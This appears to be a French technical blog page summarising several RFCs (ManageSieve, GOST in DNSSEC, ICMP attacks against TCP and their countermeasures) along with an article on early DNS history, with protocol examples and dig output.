Le langage de filtrage du courrier Sieve permet d'écrire des scripts décrivant les actions à effectuer automatiquement en fonction du contenu d'un message électronique. Ces scripts peuvent évidemment être édités avec vi directement sur le serveur mais, très souvent, les utilisateurs de Sieve n'ont pas la possibilité de se connecter directement audit serveur. Ce RFC normalise donc un protocole, ManageSieve, qui permet de mettre à jour des scripts Sieve sur le serveur.

Comme résumé en sections 1.2 et 1.3, ManageSieve est un protocole texte, orienté ligne, analogue à de nombreux autres protocoles IETF comme IMAP. Le client ManageSieve se connecte au serveur, s'authentifie, envoie des commandes et le serveur répond par des codes (section 1.4) indiquant le succès ou l'échec de la commande.

Voici un exemple de session où les lignes préfixées par C: sont envoyées par le client et celles préfixées par S: sont les réponses du serveur :

S: "IMPLEMENTATION" "Example ManageSieved v001"
S: "SIEVE" "fileinto vacation"
S: "SASL" "PLAIN"
S: "STARTTLS"
S: "VERSION" "1.0"
S: "LANGUAGE" "fr"
S: OK
C: Authenticate "PLAIN" "QJIrweAPyo6Q1T9xy"
S: OK
C: Putscript "mysievescript" {110+}
C: require ["fileinto"];
C:
C: if envelope :contains "to" "tmartin+sent" {
C:   fileinto "INBOX.sent";
C: }
S: OK

L'utilisateur s'est authentifié, puis a déposé un script Sieve nommé mysievescript.

Une notion importante du protocole ManageSieve est celle de script actif (section 1.5). ManageSieve permet de déposer plusieurs scripts sur le serveur, chacun identifié par un nom (les noms sont décrits en section 1.7, ils peuvent être pratiquement n'importe quelle chaîne Unicode) mais un seul est script actif (est réellement exécuté lors de la délivrance du courrier). La commande SETACTIVE (section 2.8) sert à rendre un script actif.

Comme la plupart des protocoles, ManageSieve impose un certain nombre de fonctions qui doivent être mises en œuvre, et d'autres qui sont optionnelles (section 1.8). Un serveur ManageSieve annonce ces capacités à l'établissement de la connexion et en réponse à la commande CAPABILITY (section 2.4). Parmi elles, la possibilité de protéger la session par TLS (obligatoire), la liste des extensions Sieve acceptées (obligatoire), la langue utilisée pour les messages d'erreur (optionnelle), etc.

ManageSieve fonctionne sur TCP (section 1.9), le port par défaut étant 4190 (attention, pendant longtemps, c'était le 2000 et plusieurs logiciels ont encore cela par défaut). L'adresse IP du serveur est trouvée en résolvant d'abord les enregistrements SRV _sieve._tcp.$DOMAIN et, si le SRV n'existe pas, en essayant directement une adresse liée au nom de domaine.

La liste complète des commandes possibles figure en section 2. Deux examples :

  • PUTSCRIPT (section 2.6) permet de déposer un script en lui donnant un nom. À noter que le serveur doit tester la validité syntaxique du script avant de l'enregistrer.
  • LISTSCRIPTS (section 2.7) qui donne la liste des scripts Sieve déposés, en indiquant lequel est actif.

On peut désigner un serveur ManageSieve, ou bien un script sur un serveur, avec un URL (section 3). Un exemple est sieve://example.net/durand/mon-script qui identifie le script mon-script de l'utilisateur durand sur le serveur ManageSieve du domaine example.net.

Bien que le RFC vienne de paraître, ManageSieve est un ancien protocole et est déjà mis en œuvre, côté client dans SquirrelMail, Emacs, un simple script Perl, les programmes sieve-connect et sieveshell de Cyrus et, côté serveur, dans Archiveopteryx, Dovecot (voir aussi PigeonHole), Cyrus (programme timsieved)... Il existe aussi un serveur semi-autonome en Python, pysieved. Sur la question générale du filtrage du courrier, on peut consulter l'article « Filtres côté serveur ».


Téléchargez le RFC 5804


L'article seul

Améliorer son référencement Web grâce aux consultants SEO, est-ce possible ?

Première rédaction de cet article le 11 juillet 2010
Dernière mise à jour le 25 août 2010


Si je paie, très cher, un « expert en référencement » ou « consultant SEO » qui me raconte que mon site Web sera mieux placé dans les résultats de Google grâce à lui, est-ce plus efficace et plus scientifique, que de sacrifier un coq par une nuit de pleine lune ?


L'article complet

RFC 5933: Use of GOST signature algorithms in DNSKEY and RRSIG Resource Records for DNSSEC

Date de publication du RFC : Juillet 2010
Auteur(s) du RFC : V.Dolmatov (Cryptocom)
Intérêt historique uniquement
Première rédaction de cet article le 10 juillet 2010
Dernière mise à jour le 30 août 2019


L'algorithme de signature russe GOST R 34.10-2001 ayant été spécifié en anglais dans le RFC 5832, plus rien ne s'opposait à son utilisation dans DNSSEC. Ce RFC marque donc l'arrivée d'un nouvel algorithme dans les enregistrements DNSSEC, algorithme portant le numéro 12. (Depuis, le GOST R 34.10-2012 a été publié, mais pas normalisé pour DNSSEC.)

La liste originelle des algorithmes DNSSEC figurait dans le RFC 4034, annexe A.1. La liste actuelle est un registre à l'IANA, https://www.iana.org/assignments/dns-sec-alg-numbers/dns-sec-alg-numbers.xml#dns-sec-alg-numbers-1. Elle comprend désormais GOST. Notez que GOST désigne en fait une organisation de normalisation, le terme correcte serait plutôt « GOST R 34.10-2001 » pour l'algorithme de signature et « GOST R 34.11-94 » pour celui de condensation, décrit dans le RFC 5831 (voir la section 1 de notre RFC 5933).

La section 2 décrit le format des enregistrements DNSKEY avec GOST, dans lequel on publie les clés GOST R 34.10-2001. Le champ Algorithme vaut 12, le format de la clé sur le réseau suit le RFC 4491. GOST est un algorithme à courbes elliptiques, courbes décrites par Q = (x,y). Les 32 premiers octets de la clé sont x et les 32 suivants y (en petit-boutien, attention, contrairement à la majorité des protocoles Internet). Les autres paramètres de la clé figurent dans le RFC 4357.

Les bibliothèques cryptographiques existantes sont parfois capables de lire des clés GOST (section 2.1). Pour OpenSSL, il existe une distribution de GOST (par la même entreprise où travaille l'auteur des RFC GOST).

La section 2.2 donne un exemple de clé GOST publiée dans le DNS mais autant utiliser ici un exemple réel (ce domaine a des clés GOST et aussi des clés RSA de type 5) :


% dig +multi DNSKEY caint.su

; <<>> DiG 9.9.2 <<>> +multi DNSKEY caint.su
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 61873
;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;caint.su.              IN DNSKEY

;; ANSWER SECTION:
caint.su.               3600 IN DNSKEY 256 3 12 (
                                HQUwRfZDsGuso1XEVztO9nIt7S6MrC/XNYQ9Agup8oW0
                                FCfy0T52buB3czWe9YHa0kLgrcFP1pHpu19jdmO70A==
                                ) ; ZSK; alg = ECCGOST; key id = 35724
caint.su.               3600 IN DNSKEY 257 3 5 (
                                AwEAAdfmAyxcSu09Ik449sIGygbD78jxCKaBek3fhC1a
                                hO7363pdMGlXf8ZEzv7Kl+9yOokmMoTI0peVUqF57it3
                                hmqcIJQ+OsrKdsF1XBwa8VULaLh+TNb67dkdbj6iZ6Gd
                                WxkD6i2vbjvmVHtoQyKswgeR7lUn42XMRYRbYiIrI5r8
                                zT/xllwtCCxaC68V6azpk//7GrYpnwS9NGzr2cBignwj
                                Jj6VeAGfrBe5AM0XNplaFLf7NNU34qqGBKpYbogdAYzM
                                Il02dhPvruzDcadbm2a53OI2/fqchjOgZ8wSTfekuJQb
                                ReYWsNUasgqxjydMU5vweSiogGqkrUEzqn5PD/0=
                                ) ; KSK; alg = RSASHA1; key id = 697
caint.su.               3600 IN DNSKEY 257 3 12 (
                                qMxkfdx4fNxdLDU3z5KGAxrEiL1fm+dxw03js+ACY996
                                wc1wYiVbmqA1QVUmLg5bO3/IawdItM3jQcigFEi/3A==
                                ) ; KSK; alg = ECCGOST; key id = 33831
caint.su.               3600 IN DNSKEY 256 3 5 (
                                AwEAAawWrWjeYqJ+07pakuybnkLQz3xbe1rnG2g7ihfO
                                NpSLNYrNOyhcCTRbt3cgJLWR29Qh6uko9Zcd9uylHlY1
                                ru1HpBQxpzKffwUUki2e7SiTiGrj/DvJz9UH52VZyxi5
                                qf9neYBz0sxvlrLWC5JMqqGIBRUMx/clPjab72BV7exR
                                ) ; ZSK; alg = RSASHA1; key id = 15876

;; Query time: 326 msec
;; SERVER: 192.168.2.254#53(192.168.2.254)
;; WHEN: Tue Oct 23 15:59:57 2012
;; MSG SIZE  rcvd: 621


La section 3 décrit le format des enregistrements RRSIG, les signatures. On suit les RFC 4490 et RFC 4357. Voici un exemple actuellement présent dans le DNS (notez qu'il y a double signature, avec RSA et GOST, la clé GOST étant la 35724) :


dig +dnssec MX caint.su

; <<>> DiG 9.9.2 <<>> +dnssec MX caint.su
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 61031
;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 4, ADDITIONAL: 10

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags: do; udp: 4096
;; QUESTION SECTION:
;caint.su.                      IN      MX

;; ANSWER SECTION:
caint.su.               3600    IN      MX      10 mail.caint.su.
caint.su.               3600    IN      RRSIG   MX 5 2 3600 20121027063752 20120927063752 15876 caint.su. E5d1eZxLgYxNg1YiNXEyQ5UGJFOyd09bmpo9AtwnpJn0ezSX0wsAnvd1 ExBWf9ue0TnPSknZxofevtOHD3cBw09Lq/ZathhEOvNhHaK4kbMEXWm7 KzwLeNDDhqNbhAbY0duDLEPCA69ege00dJFjBMtqV17TTJ13BxrFXNzs Hmk=
caint.su.               3600    IN      RRSIG   MX 12 2 3600 20121027063752 20120927063752 35724 caint.su. 52NgPC9ZmFwIgL8CsK0C+wwoM+brh4uTfw70yRDJTjbkUVivkdCakDIS YVxPLWaQO6mDMzNwC53QYqwUyEYlEQ==

...

Attention, une particularité de GOST fait que deux signatures des mêmes données peuvent donner des résultats différents, car un élément aléatoire est présent dans la signature.

La section 4 décrit le format des enregistrements DS pour GOST. La clé publique de la zone fille est condensée par GOST R 34.11_94, algorithme de numéro 3. Voici un exemple dans la nature :

% dig DS caint.su
...
caint.su.               345330  IN      DS      33831 12 3 267B93EB54BF7707BF5500900722F3B0FBFCA04FF4F1BF22735F9ABB 607832E2

Notez que ce domaine a d'autres clés et aussi la même clé condensée par les algorithmes de la famille SHA, soit six DS en tout. Ou un autre exemple dans .fr ?

absolight.fr.		172724 IN DS 12545 8 3 (
				DDA74E5E94CEA6057072B073F60A5DD37D16DC8E896A
				EC57B055888DB84B4210 )

Les sections 5 et 6 couvrent des questions pratiques liées au développement et au déploiement de systèmes GOST, par exemple un rappel sur la taille de la clé (512 bits) et sur celle du condensat cryptographique (256 bits).

GOST peut se valider avec Unbound (au moins depuis la version 1.4.4, voir l'option de compilation --enable-gost) et avec BIND (depuis la version 9.8, si elle est compilée avec un OpenSSL qui a GOST). nsd a GOST depuis la version 3.2.11, pubiée en juillet 2012. Pour les programmeurs Java, DNSjava a GOST depuis la version 2.1.7. Pour le statut (recommandé ou non) de l'algorithme GOST pour DNSSEC, voir le RFC 8624. On peut trouver des conseils pratiques pour l'utilisation de GOST en anglais à http://www.cryptocom.ru/dns/dnssec-cryptocom-en.html.


Téléchargez le RFC 5933


L'article seul

RFC 5927: ICMP attacks against TCP

Date de publication du RFC : Juillet 2010
Auteur(s) du RFC : F. Gont (UTN/FRH)
Pour information
Réalisé dans le cadre du groupe de travail IETF tcpm
Première rédaction de cet article le 7 juillet 2010


Vous voulez tout savoir sur les attaques qu'on peut perpétrer avec le protocole ICMP contre le protocole de couche 4 TCP ? Ce RFC est pour vous. Il documente les différents mécanismes par lesquels une session TCP, même protégée, peut être attaquée via le protocole de signalisation. Il ne fournit pas de solutions absolues mais documente quelques modifications dans les mises en œuvre de TCP qui peuvent réduire la gravité du problème.

D'où vient le problème ? ICMP (RFC 792) est le protocole de signalisation d'IP et permet d'informer les machines qu'un paquet n'a pas pu être transmis ou bien que le trafic est trop intense. Mais ICMP n'a aucun mécanisme de validation (sauf si on encapsule tout dans IPsec) et il est trivial pour un méchant de fabriquer un faux paquet ICMP et de l'envoyer aux machines qu'il veut attaquer. Le méchant n'a même pas besoin d'espionner le réseau visé (alors que la fabrication d'un faux paquet TCP impose de connaitre un numéro de séquence valide, ce qui est très difficile si on en peut pas lire les paquets échangés), ces attaques sont donc faisables sans qu'on soit sur le chemin attaqué (off-path). Le problème est connu depuis longtemps mais ne semble pas avoir jamais été documenté dans un RFC, avec les contre-mesures possibles (section 1 du RFC). Certaines recommandations apparaissent toutefois dans des documents comme le RFC 4907.

Notre RFC 5927 fait ce travail de documentation et suggère des solutions pour limiter les dégâts, sans modifier le protocole TCP lui-même (bien que, parfois, ces solutions sont aux limites de ce que permet le RFC 793), ce qui est conforme aux règles prudentes du groupe de travail IETF tcpm, qui s'interdit de changer le protocole.

La section 2 de notre RFC rappelle ICMP pour les lecteurs débutants. ICMP sert à signaler les problèmes rencontrés par un paquet lors de sa traversée du réseau (cf. RFC 816). Le message ICMP est typiquement émis par un routeur présent sur le trajet et son adresse IP source n'est donc pas forcément celle de la machine avec laquelle on voulait communiquer. Rien ne garantit que le message ICMP arrive bien : comme tout paquet IP, il peut être filtré, victime de la congestion ou, ce qui est fréquent de nos jours, jamais émis en raison du rate limiting, fréquemment configuré sur les routeurs IP, pour éviter qu'ils ne soient DoSés par l'émission de paquets ICMP. TCP ne peut donc pas compter uniquement sur ICMP pour signaler les problèmes, il doit aussi se débrouiller seul, ICMP accélerant simplement la détection des ennuis. ICMP pour IPv4 est normalisé dans le RFC 792. Il fournit plusieurs types de messages d'erreur que le RFC 1122 a ultérieurement classé en erreurs dures et erreurs douces. Plusieurs protocoles ont été développés en utilisant ICMP dont le plus connu est la découverte de la MTU, dans le RFC 1191. ICMP pour IPv6 est dans le RFC 4443 et, si les codes sont légèrement différents de ceux de IPv4, les principes sont les mêmes. Enfin, il existe des extensions à ICMP comme les messages structurés du RFC 4884.

Le RFC 4301 comprend une annexe D qui étudie en détail ICMP, dans le contexte de la sécurité (voir aussi la section 2.3 de notre RFC). Car, officiellement, les anciens RFC comme le RFC 1122 (dans sa section 4.2.3.9) imposaient aux machines connectés à l'Internet de réagir à certains messages ICMP, sans tenir compte du fait que ces messages ne sont pas authentifiés et sans parler de validation, même sommaire. On peut dire que TCP faisait autrefois une confiance aveugle à ICMP (section 2.2).

Cette confiance n'était pas vraiment justifiée. Comme le rappelle la même section, un attaquant peut facilement fabriquer un paquet ICMP vraisemblable, il suffit de connaître les adresses IP source et destination, ainsi que les ports source et destination. Comme expliqué dans des documents comme le RFC 4953, trouver ces quatre chiffres est parfois assez facile. Par exemple, dans le cas d'une connexion BGP sur un point d'échange, les adresses IP des deux pairs sont en général publiques, l'un des ports est le port bien connu de BGP, 179 et l'autre ne peut prendre que 65536 valeurs possibles (moins que cela, en pratique). Un attaquant, même non situé sur le réseau visé, peut donc créer un paquet ICMP qui a de bonnes chances d'être accepté (le plus simple étant de générer les 65536 paquets possibles...)

Bref, il ne faut pas faire confiance à ICMP, comme documenté dans le RFC 4907. Mais l'équilibre est difficile à trouver : si on ignore tous les paquets ICMP, on ne sera averti que très tard des problèmes sur le réseau, lorsque les délais de garde expireront. Si on les accepte tous, on s'expose à de sérieuses DoS. L'idéal est donc que la politique d'acceptation soit réglable.

Le RFC décrit les attaques ICMP possibles après l'analyse des solutions. Mais il me semble plus logique de faire l'inverse et de continuer avec les sections 5, 6 et 7. La section 5 décrit l'attaque de réinitialisation de la connexion en aveugle (blind connection-reset attack). Elle consiste à envoyer un paquet ICMP de type « erreur dure » par exemple type 3 (Destination Unreachable) avec les codes 2 à 4 (protocol unreachable, port unreachable et fragmentation needed and DF bit set). Selon le RFC 1122, TCP devrait alors couper la connexion (notez que les sections 3.2.2.1 et 4.2.3.9 du RFC 1122 se contredisent...) On a donc avec cette attaque un bon moyen de faire un déni de service sans même avoir besoin d'être situé sur le chemin des paquets (d'où le terme d'attaque en aveugle). Pire, certaines mises en œuvre de TCP/IP coupent non seulement la connexion TCP en cause mais aussi toutes celles avec la même machine. D'autre part, il faut bien se rappeler que l'attaque, étant en ICMP, ne dépend pas de la capacité de l'attaquant à fabriquer des paquets TCP et qu'elle marche donc même si la connexion TCP est protégée par des techniques comme le TCP-AO du RFC 5925.

Alors, quelles sont les solutions contre l'attaque de réinitialisation de la connexion ? La section 5.2 les décrit : compte-tenu du fait qu'un code protocol unreachable et même, dans une large mesure port unreachable n'a de sens qu'au début d'une connexion, la recommandation est d'ignorer ces paquets ICMP une fois la connexion établie. Par un raisonnement similaire, les codes fragmentation needed and DF bit set peuvent être ignorés ou plus exactement considérés comme des erreurs douces. Donc, pour résumer, sauf pour les connexions en cours d'établissement, traiter les erreurs dures comme des erreurs douces supprime l'attaque par réinitialisation. Cela a certes des inconvénients (les vrais problèmes seront détectés moins rapidement) mais rien n'est parfait dans le monde cruel de la sécurité. La robustesse de TCP étant la principale motivation pour son utilisation, le compromis semble raisonnable. À noter qu'il est mis en œuvre dans FreeBSD, NetBSD et Linux depuis de nombreuses années. Notre RFC ne fait que le documenter.

Autre attaque possible en ICMP, moins radicale, la réduction de débit en aveugle (blind throughput reduction, section 6. Elle consiste pour l'attaquant à envoyer des paquets ICMP de type 4 (répression de l'envoi, source quench). TCP devait réagir en ralentissant le débit, voire en reprenant comme si la connexion était neuve, avec une fenêtre d'envoi de petite taille. Là encore, l'attaque est connue depuis longtemps et, comme toutes les études ont montré que la répression de l'envoi était une mauvaise technique de contrôle de la congestion (cf. RFC 1812), les implémentations de TCP ignorent depuis longtemps ces paquets ICMP, préférant les mécanismes purement TCP (RFC 5681, RFC 3168), même si c'était formellement une violation de la norme (depuis la sortie du RFC 6633, la norme a rejoint la pratique). Dans le noyau Linux (net/ipv4/tcp_ipv4.c) :

	case ICMP_SOURCE_QUENCH:
		/* Just silently ignore these. */
		goto out;

Autre moyen de diminuer les performances, l'attaque contre la découverte de MTU en aveugle (blind performance-degrading attack, section 7). Si l'une des deux machines connectées en TCP met en œuvre l'algorithme PMTUD du RFC 1981 pour découvrir la MTU du chemin, des faux paquets ICMP peuvent la tromper et lui faire adopter une MTU sous-optimale. Si l'attaquant envoie des paquets ICMP de code 3 et de type 4 (fragmentation needed and DF bit set), indiquant une MTU de petite taille, la machine naïve va réduire la taille des paquets qu'elle envoie, s'empêchant ainsi de tirer profit à fond du réseau (les paquets plus petits sont moins efficaces car la part relative des en-têtes augmente et le « coût » par octet augmente puisque le coût de traitement dépend davantage du nombre de paquets que du nombre d'octets).

Si la machine utilise l'algorithme PMTUD, elle ne peut pas ignorer ces paquets ICMP. Que peut-elle alors faire ? Une solution évidente est d'abandonner PMTUD au profit du RFC 4821. Une autre solution moins radicale, mise en œuvre dans NetBSD, est d'ignorer ces paquets ICMP uniquement si la connexion progresse (si les octets envoyés font l'objet d'accusés de réception) et d'en tenir compte si les octets ne passent plus (ce qui peut indiquer effectivement un endroit où la MTU a baissé). Cette contre-mesure est décrite en grand détail dans la section 7.3.

Bon, tout cela n'est pas satisfaisant. Existe t-il une solution à ce problème de la vulnérabilité d'ICMP ? La section 3 expose d'abord les contraintes auxsquelles doit obéir une solution. Comme le paquet ICMP d'erreur ne contient qu'une partie du paquet original (en IPv4, l'en-tête IP, plus 8 octets), le processus qui va prendre la décision d'accepter ou de refuser le paquet ICMP n'a qu'une information limitée. Le RFC 1122 a autorisé les routeurs à envoyer davantage que ces malheureux huit octets mais ce n'est pas forcément ce qu'ils font. Le RFC 1812 est même plus gourmand en suggérant , pour les routeurs, d'utiliser un paquet de taille totale 576 octets. Pour les machines non-routeuses, il n'y a pas de telle recommandation. (IPv6 offre plus de place dans un paquet sans fragmentation et donc offre davantage d'information.) Avec les huit octets, on a tout juste les deux numéros de port (source et destination) et le numéro de séquence.

Ainsi, même si TCP signait ses segments avec le RFC 2385, l'information contenue dans les paquets ICMP d'erreur ne permettrait pas de valider cette signature. IPsec permettrait d'authenfifier les paquets ICMP envoyés par la machine avec laquelle on correspond mais pas forcément ceux des routeurs intermédiaires. Aujourd'hui, vu l'état du déploiement d'IPsec, cette perspective est tout à fait utopique.

La section 4 fournit des idées générales sur les contre-mesures à adopter pour résister à ces attaques. Par exemple, un test évident mais qui n'avait pas été prévu à l'origine, est de vérifier, en utilisant le numéro de séquence TCP contenu dans le message ICMP suspect, s'il correspond à des données actuellement en transit (envoyées mais qui n'ont pas fait l'objet d'un accusé de réception). Un tel test rend très difficile la tâche de l'assaillant, qui doit désormais trouver un numéro de séquence valide. Là encore, tous les Unix libres font ce test depuis longtemps. Avec Linux, les tests de validité qui échouent sont enregistrés et affichables avec netstat :

% netstat -s
...
TcpExt:
...
    13 ICMP packets dropped because they were out-of-window

Si vous voyez cet compteur s'incrémenter, cela indique que quelqu'un tente sa chance... Évidemment, si l'attaquant peut espionner le réseau (s'il est on-path), trouver un tel numéro de séquence est trivial. D'autre part, les connexions TCP à haut débit, utilisant de grandes fenêtres (RFC 7323) restent vulnérables car un plus grand pourcentage de l'espace des numéros de séquence est valide, à un moment donné. Enfin, ce test a à la fois des faux positifs (paquets ICMP légitimes mais arrivant en retard, une fois les données réceptionnées) et des faux négatifs (assaillant chanceux). Ai-je déjà dit qu'il n'existe jamais de solution de sécurité parfaite ?

Autre mesure, l'aléatoirisation du port source (section 4.2). L'attaquant devant deviner le port source, si celui-ci est prévisible (machine allouant les ports sources séquentiellement...), on lui facilite la tâche.

Dernière contre-mesure générique, commune à toutes les attaques ICMP : les pare-feux pourraient regarder dans les paquets ICMP l'adresse source du paquet TCP qui a déclenché l'erreur et jeter le paquet ICMP si cette adresse source ne correspond pas à une machine du réseau interne (section 4.3). En effet, si un méchant situé sur le réseau 192.0.2.128/25 veut attaquer la machine 203.0.113.2, il va émettre un faux paquet ICMP qui porte soi-disant sur un message envoyé par 203.0.113.2. Le pare-feu du réseau utilisé par le méchant peut donc voir que ce message est illégitime, puisque 203.0.113.2 n'est pas sur son site. Idem si un attaquant externe tente de perturber des connexions TCP entre machines internes. L'article de l'auteur du RFC, « Filtering of ICMP error messages » donne d'autres exemples. Le pare-feu d'OpenBSD met en œuvre cette technique.

Ah, et si vous voulez tester ces attaques vous-même, le code est disponible sur le site Web de l'auteur. Si vous voulez uniquement approfondir votre compréhension de la sécurité de TCP, une lecture recommandée est « CPNI technical note 3/2009 - Security assessment of the Transmission Control Protocol (TCP) ». Il existe d'autres attaques contre TCP et d'autres RFC pour les traiter, voir mon article « La sécurité de TCP : plein de nouveaux RFC depuis trois ans ».

Parmi les nombreux articles qui avaient été publiés à l'époque de la découverte de cette vulnérabilité, je recommande celui fait à l'occasion du Hackaton OpenBSD, qui explique notamment les manœuvres de Cisco pour tenter de breveter les techniques de protection.


Téléchargez le RFC 5927


L'article seul

Quelques éléments d'histoire sur le DNS

Première rédaction de cet article le 4 juillet 2010
Dernière mise à jour le 1 novembre 2012


Le DNS est à la base de la plupart des transactions sur Internet. Presque toutes commencent en effet par une requête DNS. Par exemple si vous récupérez un fichier via BitTorrent (dont on pourrait penser qu'il n'utilise pas le DNS), le tracker est souvent trouvé via une URL donc via le DNS. Même si vous utilisez un système récent, tracker-less (celui-ci étant remplacé par une DHT), vous avez probablement trouvé les coordonnées du fichier qui vous intéressait via le Web donc via le DNS. Bref, si le DNS est en panne, il n'y a presque plus rien qui marche. Pourtant, à une époque, l'Internet fonctionnait sans le DNS. Comment s'est faite la transition ? Qu'est-ce qu'il y avait avant ?

Vue l'énorme quantité d'articles soi-disant historiques de vulgarisation sur les origines du DNS, vue la quantité de bêtises journalistiques qui ont été écrites sur ce sujet, il peut sembler difficile de remonter aux vraies origines et de trouver ce qui s'est passé. Pourtant, la plupart des acteurs de ce changement sont encore vivants et beaucoup ont documenté leurs efforts.

Commençons par les pères du DNS eux-même. Paul Mockapetris et Kevin Dunlap ont documenté les débuts de ce protocole en 1988, dans « Development of the Domain Name System » (le fichier PDF en question est une numérisation de l'original papier, il ne semble pas que la forme numérique originale aie été conservée ; même chose pour les autres articles de la série).

Tout commença, racontent les auteurs, en 1982, lorsque l'ancien système de nommage, HOSTS.TXT (qui était spécifié dans le RFC 608), montrait trop clairement ses limites, avec l'augmentation de taille de l'Internet. Plusieurs candidats avaient été envisagés pour son remplacement comme IEN 116 ou comme le système Grapevine de Xerox. Le premier était jugé trop simple, le second beaucoup trop compliqué (il essayait de tout faire, contrairement à la méthode qui a assuré le succès de l'Internet, faire des systèmes simples qui assurent 95 % des fonctions, sans chercher à tout résoudre). Une curiosité : dans Grapevine, les noms étaient hiérarchiques, comme dans le DNS, mais le nombre de niveaux était fixe (alors qu'un nom de domaine peut avoir un seul composant - par exemple dk, deux, trois, ou plus - par exemple ns1.dnsar.ati.tn). Grapevine n'avait que deux niveaux, le registre et la machine. Le travail commença donc sur le protocole DNS. (Cela n'apparait pas dans l'article mais, oralement, Paul Mockapetris raconte qu'il avait hérité de cette tâche car il était le plus débutant et que ce service DNS n'était pas considéré comme essentiel.) Et c'est là qu'on dispose d'une autre source, les fameux RFC puisque tous ont été conservés (parfois sous forme papier, nécessitant une renumérisation). Le DNS est donc né officiellement avec les RFC 882 et RFC 883 (la norme actuelle figure dans les RFC 1034 et RFC 1035).

Il semble que ce soit vers 1985 que certaines machines commencèrent à n'utiliser que le DNS pour accéder à l'information. (Je me souviens bien qu'au début des années 1990, il était fréquent que des documents comme les FAQ indiquent les adresses IP des serveurs cités, car certains « vieux de la vieille » n'avaient pas confiance dans le DNS qui, il est vrai, n'avait pas toujours la fiabilité d'aujourd'hui.)

L'article de Mockapetris et Dunlap détaille ensuite les principes fondateurs du DNS : nommage hiérarchique, compromis entre la simplicité et les demandes de certains enthousiastes qui voulaient en faire une vraie base de données distribuée, absence de sémantique dans les noms (un serveur SMTP n'est pas forcé de s'appeler smtp.example.net et on ne peut pas savoir, juste en regardant un nom, où sont les frontières des zones).

Parmi les choix qui se présentaient aux auteurs du nouveau protocole, la détermination du niveau de souplesse nécessaire. Il était prévu que d'autres acteurs que le monde Internet utilisent le nouveau protocole, ce qui avait mené à l'introduction des classes. Il y avait même l'idée qu'il y aurait une classe ISO alors que, finalement, le projet OSI avait développé sa propre usine à gaz, X.500, qui a sombré avec le reste de ce projet. Aujourd'hui, les classes continuent à utiliser deux octets dans chaque enregistrement DNS, sans servir à rien (et il est probable que la plupart des logiciels seraient très déroutés par d'autres classes que la classe IN, contrairement à ce que pensaient les promoteurs de Net4D).

La fin de l'article décrit le déploiement du DNS en 1988. Le RFC 1031 contenait une liste des mises en œuvre du DNS (les deux plus importantes étant BIND, toujours là, et Jeeves, bien oublié). À ce moment, HOSTS.TXT contenait encore 5 500 noms alors que le DNS en avait... 20 000 (depuis, le comptage est devenu impossible mais il y a certainement aujourd'hui des centaines de millions de noms).

Une section entière est dédiée aux serveurs de noms de la racine, ceux qui doivent répondre pour tous les noms, en général en renvoyant vers les serveurs du TLD. Ils n'étaient que sept à l'époque (aujourd'hui, il est difficile de donner le nombre exact). Quatre étaient des Unix avec BIND, trois des TOPS-20 avec Jeeves. Le trafic sur un serveur racine atteignait la valeur pharamineuse de... une requête par seconde (aujourd'hui, chaque machine physique voit passer plusieurs milliers, voire dizaines de milliers de requêtes par seconde).

Une fois le protocole défini, il restait une importante décision à prendre, sur le schéma de nommage. Le RFC 920 a été le premier à se pencher sur la question, sur laquelle on peut aussi consulter le passionnant article d'Elizabeth Feinler.

Cela, c'était du protocole et de l'organisation. Et le code ? Il existe d'autres articles sur les premières mises en œuvre du DNS :

The Berkeley Internet Name Domain Server est l'article général sur l'ajout du DNS au système d'exploitation BSD 4.2 (le premier qui avait TCP/IP). Des points qui ne seront normalisés que longtemps plus tard (comme la mise à jour dynamique) y sont déjà discutés. L'article discute aussi du mécanisme de stockage, envisageant une base de données généraliste (suggestion rejetée puisqu'un serveur de noms n'a aucun besoin de toutes les fonctions d'une telle base) et choisissant finalement de mettre toutes les données en mémoire (les nouveaux - à l'époque - VAX avaient bien plus de mémoire que leurs prédécesseurs). Ensuite, pour accéder rapidement aux données, une table de hachage indexée par les FQDN était utilisée.

L'article discute aussi du résolveur (qu'on nomme aujourd'hui le stub resolver), les bibliothèques installées sur le client et qui permettent aux applications de faire des requêtes DNS. Mais l'idée d'un démon tournant en permanence, avec un cache des réponses, était déjà envisagée (ce qu'on nomme un résolveur aujourd'hui).

Les plans étaient ambitieux, jusqu'à envisager de stocker les listes de diffusion dans le DNS. Cela n'a jamais été fait mais un autre projet décrit dans l'article, stocker les noms d'utilisateurs dans le DNS a été réalisé avec Hesiod (bien abandonné aujourd'hui).

Dans A Name Server Database, l'auteur, David Riggle, se penche sur la partie « Stockage et recupération des données » d'un serveur de noms. L'article est très détaillé techniquement et discute même les plus petits détails. Au moment de l'article, en 1984, les TLD que nous connaissons n'existaient pas encore. Le premier schéma montre donc un arbre où l'Université de Berkeley est sous .ARPA. De même, la classe donnée comme exemple n'est pas IN (Internet) mais CS (CSnet). Et l'article mentionne comme « utile » l'option de recherche inverse du DNS, IQUERY (RFC 1035, section 6.4.2), bien oubliée aujourd'hui (car inutilisable en pratique : il faut connaitre le serveur faisant autorité dès le début, elle ne permet pas de le trouver en partant de la racine ; cf. RFC 3425) mais qui a été conscienceusement implémentée. Enfin, les chiffres n'étaient pas du tout les mêmes qu'aujourd'hui. L'auteur cite ainsi un bon résultat : faire tenir 300 noms de domaine dans 64k de mémoire... Le programme avait été écrit en C sur un Vax 11/780 Unix BSD 4.2. Pas question évidemment de réserver une telle machine pour un seul projet et les essais devaient coexister avec plein d'autres travaux, la machine ayant en permanence une charge entre 5 et 10...

Comme dans les autres textes sur le DNS de l'époque, des tas d'utilisations sont envisagées comme de stocker la liste des abonnés d'une liste de diffusion ou bien d'associer employé et numéro de bureau. On voit donc que rien n'est plus faux que la théorie selon laquelle le DNS n'aurait été conçu que pour trouver une adresse IP à partir d'un nom.

La première idée de l'implémenteur est de faire une base de données sur disque qui soit maintenue à la main, en éditant un fichier. Le serveur de noms, lui, ne la modifie jamais. En cas de crash, il n'y a donc pas de problème, il peut toujours repartir du fichier.

